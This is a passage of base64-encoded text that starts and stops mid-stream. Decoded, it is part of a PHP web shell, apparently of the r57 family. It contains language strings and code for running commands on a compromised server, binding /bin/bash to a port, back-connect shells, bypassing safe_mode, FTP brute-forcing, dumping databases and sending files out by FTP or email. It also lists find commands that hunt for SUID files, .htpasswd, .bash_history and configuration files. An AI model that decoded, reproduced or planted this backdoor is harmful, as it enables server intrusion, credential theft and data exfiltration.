u8PInLCdydV90ZXh0MjQnPT4n0+Tg6+Xt7fvpIPXu8fInLCdydV90ZXh0MjUnPT4n0+Tg6+Xt7fvpIO/u8PInLCdydV90ZXh0MjYnPT4nyPHv7uv85+7i4PL8JywncnVfYnV0dDUnPT4nx+Dv8/Hy6PL8JywncnVfdGV4dDI4Jz0+J9Dg4e7y4CDiIHNhZmVfbW9kZScsJ3J1X3RleHQyOSc9PifE7vHy8+8g5+Dv8OX55e0nLCdydV9idXR0Nic9PifR7OXt6PL8JywncnVfdGV4dDMwJz0+J8/w7vHs7vLwIPTg6evgJywncnVfYnV0dDcnPT4nwvvi5fHy6CcsJ3J1X3RleHQzMSc9PifU4OnrIO3lIO3g6eTl7ScsJ3J1X3RleHQzMic9PifC++/u6+3l7ejlIFBIUCDq7uTgJywncnVfdGV4dDMzJz0+J8/w7uLl8OrgIOLu5+zu5u3u8fLoIO7h9e7k4CDu4/Dg7ej35e3o6SBvcGVuX2Jhc2VkaXIg9+Xw5ecg9PPt6vbo6CBjVVJMJywncnVfYnV0dDgnPT4nz/Du4uXw6PL8JywncnVfdGV4dDM0Jz0+J8/w7uLl8OrgIOLu5+zu5u3u8fLoIO7h9e7k4CDu4/Dg7ej35e3o6SBzYWZlX21vZGUg9+Xw5ecg9PPt6vbo/iBpbmNsdWRlJywncnVfdGV4dDM1Jz0+J8/w7uLl8OrgIOLu5+zu5u3u8fLoIO7h9e7k4CDu4/Dg7ej35e3o6SBzYWZlX21vZGUg9+Xw5ecg5+Dj8PPn6vMg9ODp6+Ag4iBteXNxbCcsJ3J1X3RleHQzNic9PifB4OfgJywncnVfdGV4dDM3Jz0+J8vu4+jtJywncnVfdGV4dDM4Jz0+J8/g8O7r/CcsJ3J1X3RleHQzOSc9PifS4OHr6PbgJywncnVfdGV4dDQwJz0+J8Tg7O8g8uDh6+j2+yDh4Of7IOTg7e379ScsJ3J1X2J1dHQ5Jz0+J8Tg7O8nLCdydV90ZXh0NDEnPT4n0e718ODt6PL8IOIg9ODp6+UnLCdydV90ZXh0NDInPT4n0OXk4Ory6PDu4uDt6OUg9ODp6+AnLCdydV90ZXh0NDMnPT4n0OXk4Ory6PDu4uDy/CD04OnrJywncnVfYnV0dDEwJz0+J9Hu9fDg7ejy/CcsJ3J1X2J1dHQxMSc9PifQ5eTg6vLo8O7i4PL8JywncnVfdGV4dDQ0Jz0+J9Dl5ODq8ujw7uLg7ejlIPTg6evgIO3l4u7n7O7m7e4hIMTu8fLz7yDy7uv86u4g5Ov/IPfy5e3o/yEnLCdydV90ZXh0NDUnPT4n1ODp6yDx7vXw4O3l7ScsJ3J1X3RleHQ0Nic9PifP8O7x7O7y8CBwaHBpbmZvKCknLCdydV90ZXh0NDcnPT4nz/Du8ezu8vAg7eDx8vDu5eogcGhwLmluaScsJ3J1X3RleHQ0OCc9PifT5ODr5e3o5SDi8OXs5e3t+/Ug9ODp6+7iJywncnVfdGV4dDQ5Jz0+J9Pk4Ovl7ejlIPHq8Ojv8uAg8SDx5fDi5fDgJywncnVfdGV4dDUwJz0+J8jt9O7w7OD26P8g7iDv8O725fHx7vDlJywncnVfdGV4dDUxJz0+J8jt9O7w7OD26P8g7iDv4Oz/8ugnLCdydV90ZXh0NTInPT4n0uXq8fIg5Ov/IO/u6PHq4CcsJ3J1X3RleHQ1Myc9PifI8erg8vwg4iDv4O/q5ScsJ3J1X3RleHQ1NCc9PifP7ujx6iDy5erx8uAg4iD04Onr4PUnLCdydV9idXR0MTInPT4nzeDp8ugnLCdydV90ZXh0NTUnPT4n0u7r/OruIOIg9ODp6+D1JywncnVfdGV4dDU2Jz0+J83o9+Xj7iDt5SDt4Onk5e3uJywncnVfdGV4dDU3Jz0+J9Hu5+Tg8vwv0+Tg6+jy/CDU4OnrL8To8OXq8u7w6P4nLCdydV90ZXh0NTgnPT4nyOz/JywncnVfdGV4dDU5Jz0+J9Tg6esnLCdydV90ZXh0NjAnPT4nxOjw5ery7vDo/icsJ3J1X2J1dHQxMyc9PifR7ufk4PL8L9Pk4Ovo8vwnLCdydV90ZXh0NjEnPT4n1ODp6yDx7ufk4O0nLCdydV90ZXh0NjInPT4nxOjw5ery7vDo/yDx7ufk4O3gJywncnVfdGV4dDYzJz0+J9Tg6esg8+Tg6+XtJywncnVfdGV4dDY0Jz0+J8To8OXq8u7w6P8g8+Tg6+Xt4CcsJ3J1X3RleHQ2NSc9PifR7ufk4PL8JywncnVfdGV4dDY2Jz0+J9Pk4Ovo8vwnLCdydV90ZXh0NjcnPT4nQ2hvd24vQ2hncnAvQ2htb2QnLCdydV90ZXh0NjgnPT4nyu7s4O3k4CcsJ3J1X3RleHQ2OSc9PifP4PDg7OXy8DEnLCdydV90ZXh0NzAnPT4nz+Dw4Ozl8vAyJywncnVfdGV4dDcxJz0+IsLy7vDu6SDv4PDg7OXy8CDq7uzg7eT7OlxyXG4tIOTr/yBDSE9XTiAtIOjs/yDt7uLu4+4g7+7r/Ofu4uDy5ev/IOjr6CDl4+4gVUlEICj36PHr7uwpIFxyXG4tIOTr/yDq7uzg7eT7IENIR1JQIC0g6Oz/IOPw8+/v+yDo6+ggR0lEICj36PHr7uwpIFxyXG4tIOTr/yDq7uzg7eT7IENITU9EIC0g9uXr7uUg9+jx6+4g4iDi7vH87OXw6Pft7uwg7/Dl5PHy4OLr5e3o6CAo7eDv8Ojs5fAgMDc3NykiLCdydV90ZXh0NzInPT4n0uXq8fIg5Ov/IO/u6PHq4CcsJ3J1X3RleHQ3Myc9PifI8erg8vwg4iDv4O/q5ScsJ3J1X3RleHQ3NCc9PifI8erg8vwg4iD04Onr4PUnLCdydV90ZXh0NzUnPT4nKiDs7ubt7iDo8e/u6/zn7uLg8vwg8OXj8+v/8O3u5SDi+/Dg5uXt6OUnLCdydV90ZXh0NzYnPT4nz+7o8eog8uXq8fLgIOIg9ODp6+D1IPEg7+7s7vn8/iDz8ujr6PL7IGZpbmQnLCdydV90ZXh0NzcnPT4nz/Du8ezu8vAg8fLw8+ry8/D7IOHg5/sg5ODt7fv1JywncnVfdGV4dDc4Jz0+J8/u6uDn++Lg8vwg8uDh6+j2+ycsJ3J1X3RleHQ3OSc9PifP7urg5/vi4PL8IPHy7uvh9vsnLCdydV90ZXh0ODAnPT4n0ujvJywncnVfdGV4dDgxJz0+J9Hl8vwnLCdydV90ZXh0ODInPT4nweDn+yDk4O3t+/UnLCdydV90ZXh0ODMnPT4nwvvv7uvt5e3o5SBTUUwg5+Dv8O7x4CcsJ3J1X3RleHQ4NCc9PidTUUwg5+Dv8O7xJywncnVfdGV4dDg1Jz0+J8/w7uLl8OrgIOLu5+zu5u3u8fLoIO7h9e7k4CDu4/Dg7ej35e3o6SBzYWZlX21vZGUg9+Xw5ecg4vvv7uvt5e3o5SDq7uzg7eQg4iBNU1NRTCDx5fDi5fDlJywncnVfdGV4dDg2Jz0+J9Hq4Pfo4uDt6OUg9ODp6+Ag8SDx5fDi5fDgJywncnVfYnV0dDE0Jz0+J9Hq4Pfg8vwnLCdydV90ZXh0ODcnPT4nx+Dj8PPn6uAg9ODp6+7iIPEg8+Tg6+Xt7e7j7iBmdHAt8eXw4uXw4CcsJ3J1X3RleHQ4OCc9PidGVFAt8eXw4uXwOu/u8PInLCdydV90ZXh0ODknPT4n1ODp6yDt4CBmdHAg8eXw4uXw5ScsJ3J1X3RleHQ5MCc9PifQ5ebo7CDv5fDl5OD36CcsJ3J1X3RleHQ5MSc9PifA8PXo4ujw7uLg8vwg4icsJ3J1X3RleHQ5Mic9Pifh5ecg4PD16OLg9ujoJywncnVfdGV4dDkzJz0+J0ZUUCcsJ3J1X3RleHQ5NCc9PidGVFAt4fDz8vTu8PEnLCdydV90ZXh0OTUnPT4n0e/o8e7qIO/u6/zn7uLg8uXr5eknLCdydV90ZXh0OTYnPT4nzeUg8+Tg6+7x/CDv7uvz9+jy/CDx7+jx7uog7+7r/Ofu4uDy5evl6ScsJ3J1X3RleHQ5Nyc9PifP8O7i5fDl7e4g6u7s4ejt4Pbo6TogJywncnVfdGV4dDk4Jz0+J9Pk4Pft+/Ug7+7k6uv+9+Xt6Ok6ICcsJ3J1X3RleHQ5OSc9PicqIOIg6uD35fHy4uUg6+7j6O3gIOgg7+Dw7uv/IOjx7+7r/Ofz5fLx/yDo7P8g7+7r/Ofu4uDy5ev/IOjnIC9ldGMvcGFzc3dkJywncnVfdGV4dDEwMCc9PifO8u/w4OLq4CD04Onr7uIg7eAg8+Tg6+Xt7fvpIPTy7yDx5fDi5fAnLCdydV90ZXh0MTAxJz0+J8jx7+7r/Ofu4uDy/CDy4Orm5SDv5fDl4uXw7fPy7uUgKHVzZXIgLT4gcmVzdSkg6Oz/IO/u6/zn7uLg8uXr/yDiIOrg9+Xx8uLlIO/g8O7r/ycsJ3J1X3RleHQxMDInPT4nz+738uAnLCdydV90ZXh0MTAzJz0+J87y7/Dg4urgIO/o8fzs4CcsJ3J1X3RleHQxMDQnPT4nzvLv8ODi6uAg9ODp6+Ag7eAg7+738u7i++kg//no6icsJ3J1X3RleHQxMDUnPT4nyu7s8ycsJ3J1X3RleHQxMDYnPT4nzvInLCdydV90ZXh0MTA3Jz0+J9Ll7OAnLCdydV9idXR0MTUnPT4nzvLv8ODi6PL8JywncnVfdGV4dDEwOCc9PifS5erx8iDv6PH87OAnLCdydV90ZXh0MTA5Jz0+J9Hi5fDt8/L8JywncnVfdGV4dDExMCc9PifQ4Ofi5fDt8/L8JywnZW5nX3RleHQxJz0+J0V4ZWN1dGVkIGNvbW1hbmQnLCdlbmdfdGV4dDInPT4nRXhlY3V0ZSBjb21tYW5kIG9uIHNlcnZlcicsJ2VuZ190ZXh0Myc9PidSdW4gY29tbWFuZCcsJ2VuZ190ZXh0NCc9PidXb3JrIGRpcmVjdG9yeScsJ2VuZ190ZXh0NSc9PidVcGxvYWQgZmlsZXMgb24gc2VydmVyJywnZW5nX3RleHQ2Jz0+J0xvY2FsIGZpbGUnLCdlbmdfdGV4dDcnPT4nQWxpYXNlcycsJ2VuZ190ZXh0OCc9PidTZWxlY3QgYWxpYXMnLCdlbmdfYnV0dDEnPT4nRXhlY3V0ZScsJ2VuZ19idXR0Mic9PidVcGxvYWQnLCdlbmdfdGV4dDknPT4nQmluZCBwb3J0IHRvIC9iaW4vYmFzaCcsJ2VuZ190ZXh0MTAnPT4nUG9ydCcsJ2VuZ190ZXh0MTEnPT4nUGFzc3dvcmQgZm9yIGFjY2VzcycsJ2VuZ19idXR0Myc9PidCaW5kJywnZW5nX3RleHQxMic9PidiYWNrLWNvbm5lY3QnLCdlbmdfdGV4dDEzJz0+J0lQJywnZW5nX3RleHQxNCc9PidQb3J0JywnZW5nX2J1dHQ0Jz0+J0Nvbm5lY3QnLCdlbmdfdGV4dDE1Jz0+J1VwbG9hZCBmaWxlcyBmcm9tIHJlbW90ZSBzZXJ2ZXInLCdlbmdfdGV4dDE2Jz0+J1dpdGgnLCdlbmdfdGV4dDE3Jz0+J1JlbW90ZSBmaWxlJywnZW5nX3RleHQxOCc9PidMb2NhbCBmaWxlJywnZW5nX3RleHQxOSc9PidFeHBsb2l0cycsJ2VuZ190ZXh0MjAnPT4nVXNlJywnZW5nX3RleHQyMSc9PicmbmJzcDtOZXcgbmFtZScsJ2VuZ190ZXh0MjInPT4nZGF0YXBpcGUnLCdlbmdfdGV4dDIzJz0+J0xvY2FsIHBvcnQnLCdlbmdfdGV4dDI0Jz0+J1JlbW90ZSBob3N0JywnZW5nX3RleHQyNSc9PidSZW1vdGUgcG9ydCcsJ2VuZ190ZXh0MjYnPT4nVXNlJywnZW5nX2J1dHQ1Jz0+J1J1bicsJ2VuZ190ZXh0MjgnPT4nV29yayBpbiBzYWZlX21vZGUnLCdlbmdfdGV4dDI5Jz0+J0FDQ0VTUyBERU5JRUQnLCdlbmdfYnV0dDYnPT4nQ2hhbmdlJywnZW5nX3RleHQzMCc9PidDYXQgZmlsZScsJ2VuZ19idXR0Nyc9PidTaG93JywnZW5nX3RleHQzMSc9PidGaWxlIG5vdCBmb3VuZCcsJ2VuZ190ZXh0MzInPT4nRXZhbCBQSFAgY29kZScsJ2VuZ190ZXh0MzMnPT4nVGVzdCBieXBhc3Mgb3Blbl9iYXNlZGlyIHdpdGggY1VSTCBmdW5jdGlvbnMnLCdlbmdfYnV0dDgnPT4nVGVzdCcsJ2VuZ190ZXh0MzQnPT4nVGVzdCBieXBhc3Mgc2FmZV9tb2RlIHdpdGggaW5jbHVkZSBmdW5jdGlvbicsJ2VuZ190ZXh0MzUnPT4nVGVzdCBieXBhc3Mgc2FmZV9tb2RlIHdpdGggbG9hZCBmaWxlIGluIG15c3FsJywnZW5nX3RleHQzNic9PidEYXRhYmFzZScsJ2VuZ190ZXh0MzcnPT4nTG9naW4nLCdlbmdfdGV4dDM4Jz0+J1Bhc3N3b3JkJywnZW5nX3RleHQzOSc9PidUYWJsZScsJ2VuZ190ZXh0NDAnPT4nRHVtcCBkYXRhYmFzZSB0YWJsZScsJ2VuZ19idXR0OSc9PidEdW1wJywnZW5nX3RleHQ0MSc9PidTYXZlIGR1bXAgaW4gZmlsZScsJ2VuZ190ZXh0NDInPT4nRWRpdCBmaWxlcycsJ2VuZ190ZXh0NDMnPT4nRmlsZSBmb3IgZWRpdCcsJ2VuZ19idXR0MTAnPT4nU2F2ZScsJ2VuZ190ZXh0NDQnPT4nQ2FuXCd0IGVkaXQgZmlsZSEgT25seSByZWFkIGFjY2VzcyEnLCdlbmdfdGV4dDQ1Jz0+J0ZpbGUgc2F2ZWQnLCdlbmdfdGV4dDQ2Jz0+J1Nob3cgcGhwaW5mbygpJywnZW5nX3RleHQ0Nyc9PidTaG93IHZhcmlhYmxlcyBmcm9tIHBocC5pbmknLCdlbmdfdGV4dDQ4Jz0+J0RlbGV0ZSB0ZW1wIGZpbGVzJywnZW5nX2J1dHQxMSc9PidFZGl0IGZpbGUnLCdlbmdfdGV4dDQ5Jz0+J0RlbGV0ZSBzY3JpcHQgZnJvbSBzZXJ2ZXInLCdlbmdfdGV4dDUwJz0+J1ZpZXcgY3B1IGluZm8nLCdlbmdfdGV4dDUxJz0+J1ZpZXcgbWVtb3J5IGluZm8nLCdlbmdfdGV4dDUyJz0+J0ZpbmQgdGV4dCcsJ2VuZ190ZXh0NTMnPT4nSW4gZGlycycsJ2VuZ190ZXh0NTQnPT4nRmluZCB0ZXh0IGluIGZpbGVzJywnZW5nX2J1dHQxMic9PidGaW5kJywnZW5nX3RleHQ1NSc9PidPbmx5IGluIGZpbGVzJywnZW5nX3RleHQ1Nic9PidOb3RoaW5nIDooJywnZW5nX3RleHQ1Nyc9PidDcmVhdGUvRGVsZXRlIEZpbGUvRGlyJywnZW5nX3RleHQ1OCc9PidOYW1lJywnZW5nX3RleHQ1OSc9PidGaWxlJywnZW5nX3RleHQ2MCc9PidEaXInLCdlbmdfYnV0dDEzJz0+J0NyZWF0ZS9EZWxldGUnLCdlbmdfdGV4dDYxJz0+J0ZpbGUgY3JlYXRlZCcsJ2VuZ190ZXh0NjInPT4nRGlyIGNyZWF0ZWQnLCdlbmdfdGV4dDYzJz0+J0ZpbGUgZGVsZXRlZCcsJ2VuZ190ZXh0NjQnPT4nRGlyIGRlbGV0ZWQnLCdlbmdfdGV4dDY1Jz0+J0NyZWF0ZScsJ2VuZ190ZXh0NjYnPT4nRGVsZXRlJywnZW5nX3RleHQ2Nyc9PidDaG93bi9DaGdycC9DaG1vZCcsJ2VuZ190ZXh0NjgnPT4nQ29tbWFuZCcsJ2VuZ190ZXh0NjknPT4ncGFyYW0xJywnZW5nX3RleHQ3MCc9PidwYXJhbTInLCdlbmdfdGV4dDcxJz0+IlNlY29uZCBjb21tYW5kcyBwYXJhbSBpczpcclxuLSBmb3IgQ0hPV04gLSBuYW1lIG9mIG5ldyBvd25lciBvciBVSURcclxuLSBmb3IgQ0hHUlAgLSBncm91cCBuYW1lIG9yIEdJRFxyXG4tIGZvciBDSE1PRCAtIDA3NzcsIDA3NTUuLi4iLCdlbmdfdGV4dDcyJz0+J1RleHQgZm9yIGZpbmQnLCdlbmdfdGV4dDczJz0+J0ZpbmQgaW4gZm9sZGVyJywnZW5nX3RleHQ3NCc9PidGaW5kIGluIGZpbGVzJywnZW5nX3RleHQ3NSc9PicqIHlvdSBjYW4gdXNlIHJlZ2V4cCcsJ2VuZ190ZXh0NzYnPT4nU2VhcmNoIHRleHQgaW4gZmlsZXMgdmlhIGZpbmQnLCdlbmdfdGV4dDc3Jz0+J1Nob3cgZGF0YWJhc2Ugc3RydWN0dXJlJywnZW5nX3RleHQ3OCc9PidTaG93IHRhYmxlcycsJ2VuZ190ZXh0NzknPT4nU2hvdyBjb2x1bW5zJywnZW5nX3RleHQ4MCc9PidUeXBlJywnZW5nX3RleHQ4MSc9PidOZXQnLCdlbmdfdGV4dDgyJz0+J0RhdGFiYXNlcycsJ2VuZ190ZXh0ODMnPT4nUnVuIFNRTCBxdWVyeScsJ2VuZ190ZXh0ODQnPT4nU1FMIHF1ZXJ5JywnZW5nX3RleHQ4NSc9PidUZXN0IGJ5cGFzcyBzYWZlX21vZGUgd2l0aCBjb21tYW5kcyBleGVjdXRlIHZpYSBNU1NRTCBzZXJ2ZXInLCdlbmdfdGV4dDg2Jz0+J0Rvd25sb2FkIGZpbGVzIGZyb20gc2VydmVyJywnZW5nX2J1dHQxNCc9PidEb3dubG9hZCcsJ2VuZ190ZXh0ODcnPT4nRG93bmxvYWQgZmlsZXMgZnJvbSByZW1vdGUgZnRwLXNlcnZlcicsJ2VuZ190ZXh0ODgnPT4nRlRQLXNlcnZlcjpwb3J0JywnZW5nX3RleHQ4OSc9PidGaWxlIG9uIGZ0cCcsJ2VuZ190ZXh0OTAnPT4nVHJhbnNmZXIgbW9kZScsJ2VuZ190ZXh0OTEnPT4nQXJjaGl2YXRpb24nLCdlbmdfdGV4dDkyJz0+J3dpdGhvdXQgYXJjaGl2YXRpb24nLCdlbmdfdGV4dDkzJz0+J0ZUUCcsJ2VuZ190ZXh0OTQnPT4nRlRQLWJydXRlZm9yY2UnLCdlbmdfdGV4dDk1Jz0+J1VzZXJzIGxpc3QnLCdlbmdfdGV4dDk2Jz0+J0NhblwndCBnZXQgdXNlcnMgbGlzdCcsJ2VuZ190ZXh0OTcnPT4nQ2hlY2tlZDogJywnZW5nX3RleHQ5OCc9PidTdWNjZXNzOiAnLCdlbmdfdGV4dDk5Jz0+JyogdXNlIHVzZXJuYW1lIGZyb20gL2V0Yy9wYXNzd2QgZm9yIGZ0cCBsb2dpbiBhbmQgcGFzc3dvcmQnLCdlbmdfdGV4dDEwMCc9PidTZW5kIGZpbGUgdG8gcmVtb3RlIGZ0cCBzZXJ2ZXInLCdlbmdfdGV4dDEwMSc9PidVc2UgcmV2ZXJzZSAodXNlciAtPiByZXN1KSBsb2dpbiBmb3IgcGFzc3dvcmQnLCdlbmdfdGV4dDEwMic9PidNYWlsJywnZW5nX3RleHQxMDMnPT4nU2VuZCBlbWFpbCcsJ2VuZ190ZXh0MTA0Jz0+J1NlbmQgZmlsZSB0byBlbWFpbCcsJ2VuZ190ZXh0MTA1Jz0+J1RvJywnZW5nX3RleHQxMDYnPT4nRnJvbScsJ2VuZ190ZXh0MTA3Jz0+J1N1YmonLCdlbmdfYnV0dDE1Jz0+J1NlbmQnLCdlbmdfdGV4dDEwOCc9PidNYWlsJywnZW5nX3RleHQxMDknPT4nSGlkZScsJ2VuZ190ZXh0MTEwJz0+J1Nob3cnLCk7JGFsaWFzZXM9YXJyYXkoJ2ZpbmQgc3VpZCBmaWxlcyc9PidmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzJywnZmluZCBzdWlkIGZpbGVzIGluIGN1cnJlbnQgZGlyJz0+J2ZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wNDAwMCAtbHMnLCdmaW5kIHNnaWQgZmlsZXMnPT4nZmluZCAvIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scycsJ2ZpbmQgc2dpZCBmaWxlcyBpbiBjdXJyZW50IGRpcic9PidmaW5kIC4gLXR5cGUgZiAtcGVybSAtMDIwMDAgLWxzJywnZmluZCBjb25maWcuaW5jLnBocCBmaWxlcyc9PidmaW5kIC8gLXR5cGUgZiAtbmFtZSBjb25maWcuaW5jLnBocCcsJ2ZpbmQgY29uZmlnLmluYy5waHAgZmlsZXMgaW4gY3VycmVudCBkaXInPT4nZmluZCAuIC10eXBlIGYgLW5hbWUgY29uZmlnLmluYy5waHAnLCdmaW5kIGNvbmZpZyogZmlsZXMnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgImNvbmZpZyoiJywnZmluZCBjb25maWcqIGZpbGVzIGluIGN1cnJlbnQgZGlyJz0+J2ZpbmQgLiAtdHlwZSBmIC1uYW1lICJjb25maWcqIicsJ2ZpbmQgYWxsIHdyaXRhYmxlIGZpbGVzJz0+J2ZpbmQgLyAtdHlwZSBmIC1wZXJtIC0yIC1scycsJ2ZpbmQgYWxsIHdyaXRhYmxlIGZpbGVzIGluIGN1cnJlbnQgZGlyJz0+J2ZpbmQgLiAtdHlwZSBmIC1wZXJtIC0yIC1scycsJ2ZpbmQgYWxsIHdyaXRhYmxlIGRpcmVjdG9yaWVzJz0+J2ZpbmQgLyAgLXR5cGUgZCAtcGVybSAtMiAtbHMnLCdmaW5kIGFsbCB3cml0YWJsZSBkaXJlY3RvcmllcyBpbiBjdXJyZW50IGRpcic9PidmaW5kIC4gLXR5cGUgZCAtcGVybSAtMiAtbHMnLCdmaW5kIGFsbCB3cml0YWJsZSBkaXJlY3RvcmllcyBhbmQgZmlsZXMnPT4nZmluZCAvIC1wZXJtIC0yIC1scycsJ2ZpbmQgYWxsIHdyaXRhYmxlIGRpcmVjdG9yaWVzIGFuZCBmaWxlcyBpbiBjdXJyZW50IGRpcic9PidmaW5kIC4gLXBlcm0gLTIgLWxzJywnZmluZCBhbGwgc2VydmljZS5wd2QgZmlsZXMnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgc2VydmljZS5wd2QnLCdmaW5kIHNlcnZpY2UucHdkIGZpbGVzIGluIGN1cnJlbnQgZGlyJz0+J2ZpbmQgLiAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkJywnZmluZCBhbGwgLmh0cGFzc3dkIGZpbGVzJz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCcsJ2ZpbmQgLmh0cGFzc3dkIGZpbGVzIGluIGN1cnJlbnQgZGlyJz0+J2ZpbmQgLiAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCcsJ2ZpbmQgYWxsIC5iYXNoX2hpc3RvcnkgZmlsZXMnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeScsJ2ZpbmQgLmJhc2hfaGlzdG9yeSBmaWxlcyBpbiBjdXJyZW50IGRpcic9PidmaW5kIC4gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5JywnZmluZCBhbGwgLm15c3FsX2hpc3RvcnkgZmlsZXMnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgLm15c3FsX2hpc3RvcnknLCdmaW5kIC5teXNxbF9oaXN0b3J5IGZpbGVzIGluIGN1cnJlbnQgZGlyJz0+J2ZpbmQgLiAtdHlwZSBmIC1uYW1lIC5teXNxbF9oaXN0b3J5JywnZmluZCBhbGwgLmZldGNobWFpbHJjIGZpbGVzJz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYycsJ2ZpbmQgLmZldGNobWFpbHJjIGZpbGVzIGluIGN1cnJlbnQgZGlyJz0+J2ZpbmQgLiAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYycsJ2xpc3QgZmlsZSBhdHRyaWJ1dGVzIG9uIGEgTGludXggc2Vjb25kIGV4dGVuZGVkIGZpbGUgc3lzdGVtJz0+J2xzYXR0ciAtdmEnLCdzaG93IG9wZW5lZCBwb3J0cyc9PiduZXRzdGF0IC1hbiB8IGdyZXAgLWkgbGlzdGVuJywnLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSc9PidscyAtbGEnKTskdGFibGVfdXAxPSI8dHI+PHRkIGJnY29sb3I9I2NjY2NjYz48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlcj46OiAiOyR0YWJsZV91cDI9IiA6OjwvZGl2PjwvYj48L2ZvbnQ+PC90ZD48L3RyPjx0cj48dGQ+IjskdGFibGVfdXAzPSI8dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgYmdjb2xvcj0jMDAwMDAwPjx0cj48dGQgYmdjb2xvcj0jY2NjY2NjPiI7JHRhYmxlX2VuZDE9IjwvdGQ+PC90cj4iOyRhcnJvdz0iICI7JGxiPSI8Zm9udCBjb2xvcj1ibGFjaz5bPC9mb250PiI7JHJiPSI8Zm9udCBjb2xvcj1ibGFjaz5dPC9mb250PiI7JGZvbnQ9Ijxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPiI7JHRzPSI8dGFibGUgY2xhc3M9dGFibGUxIHdpZHRoPTEwMCUgYWxpZ249Y2VudGVyPiI7JHRlPSI8L3RhYmxlPiI7JGZzPSI8Zm9ybSBuYW1lPWZvcm0gbWV0aG9kPVBPU1Q+IjskZmU9IjwvZm9ybT4iO2lmKGlzc2V0KCRfR0VUWyd1c2VycyddKSl7aWYoISR1c2Vycz1zaGVsbF9nZXRfdXNlcnMoKSl7ZWNobyAiPGNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1yZWQ+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTYnXS4iPC9mb250PjwvY2VudGVyPiI7fWVsc2Uge2VjaG8gJzxjZW50ZXI+Jztmb3JlYWNoKCR1c2VycyBhcyAkdXNlcil7ZWNobyAkdXNlci4iPGJyPiI7fWVjaG8gJzwvY2VudGVyPic7fWVjaG8gIjxicj48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj5bIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJBQ0s8L2E+IF08L2I+PC9mb250PjwvZGl2PiI7ZGllKCk7fWlmKCFlbXB0eSgkX1BPU1RbJ2RpciddKSl7QGNoZGlyKCRfUE9TVFsnZGlyJ10pO30kZGlyPUBnZXRjd2QoKTskd2luZG93cz0wIDskdW5peD0wIDtpZihzdHJsZW4oJGRpcik+MSAgJiYgJGRpclsxIF09PSI6Iikkd2luZG93cz0xIDtlbHNlICR1bml4PTEgO2lmKGVtcHR5KCRkaXIpKXskb3M9Z2V0ZW52KCdPUycpO2lmKGVtcHR5KCRvcykpeyRvcz1waHBfdW5hbWUoKTt9aWYoZW1wdHkoJG9zKSl7JG9zPSItIjskdW5peD0xIDt9ZWxzZSB7aWYoQGVyZWdpKCJed2luIiwkb3MpKXskd2luZG93cz0xIDt9ZWxzZSB7JHVuaXg9MSA7fX19aWYoIWVtcHR5KCRfUE9TVFsnc19kaXInXSkgJiYgIWVtcHR5KCRfUE9TVFsnc190ZXh0J10pICYmICFlbXB0eSgkX1BPU1RbJ2NtZCddKSAmJiAkX1BPU1RbJ2NtZCddPT0ic2VhcmNoX3RleHQiKXtlY2hvICRoZWFkO2lmKCFlbXB0eSgkX1BPU1RbJ3NfbWFzayddKSAmJiAhZW1wdHkoJF9QT1NUWydtJ10pKXskc3I9bmV3IFNlYXJjaFJlc3VsdCgkX1BPU1RbJ3NfZGlyJ10sJF9QT1NUWydzX3RleHQnXSwkX1BPU1RbJ3NfbWFzayddKTt9ZWxzZSB7JHNyPW5ldyBTZWFyY2hSZXN1bHQoJF9QT1NUWydzX2RpciddLCRfUE9TVFsnc190ZXh0J10pO30kc3ItPlNlYXJjaFRleHQoMCAsMCApOyRyZXM9JHNyLT5HZXRSZXN1bHRGaWxlcygpOyRmb3VuZD0kc3ItPkdldE1hdGNoZXNDb3VudCgpOyR0aXRsZXM9JHNyLT5HZXRUaXRsZXMoKTskcj0iIjtpZigkZm91bmQ+MCApeyRyLj0iPFRBQkxFIHdpZHRoPTEwMCU+Ijtmb3JlYWNoKCRyZXMgYXMgJGZpbGU9PiR2KXskci49IjxUUj4iOyRyLj0iPFREIGNvbHNwYW49Mj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4iLndzKDMgKTskci49KCR3aW5kb3dzKT9zdHJfcmVwbGFjZSgiLyIsIlxcIiwkZmlsZSk6JGZpbGU7JHIuPSI8L2I+PC9mb250PjwvIFREPiI7JHIuPSI8L1RSPiI7Zm9yZWFjaCgkdiBhcyAkYT0+JGIpeyRyLj0iPFRSPiI7JHIuPSI8VEQgYWxpZ249Y2VudGVyPjxCPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPiIuJGEuIjwvZm9udD48L0I+PC9URD4iOyRyLj0iPFREPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPiIud3MoMiApLiRiLiI8L2ZvbnQ+PC9URD4iOyRyLj0iPC9UUj5cbiI7fX0kci49IjwvVEFCTEU+IjtlY2hvICRyO31lbHNlIHtlY2hvICI8UCBhbGlnbj1jZW50ZXI+PEI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190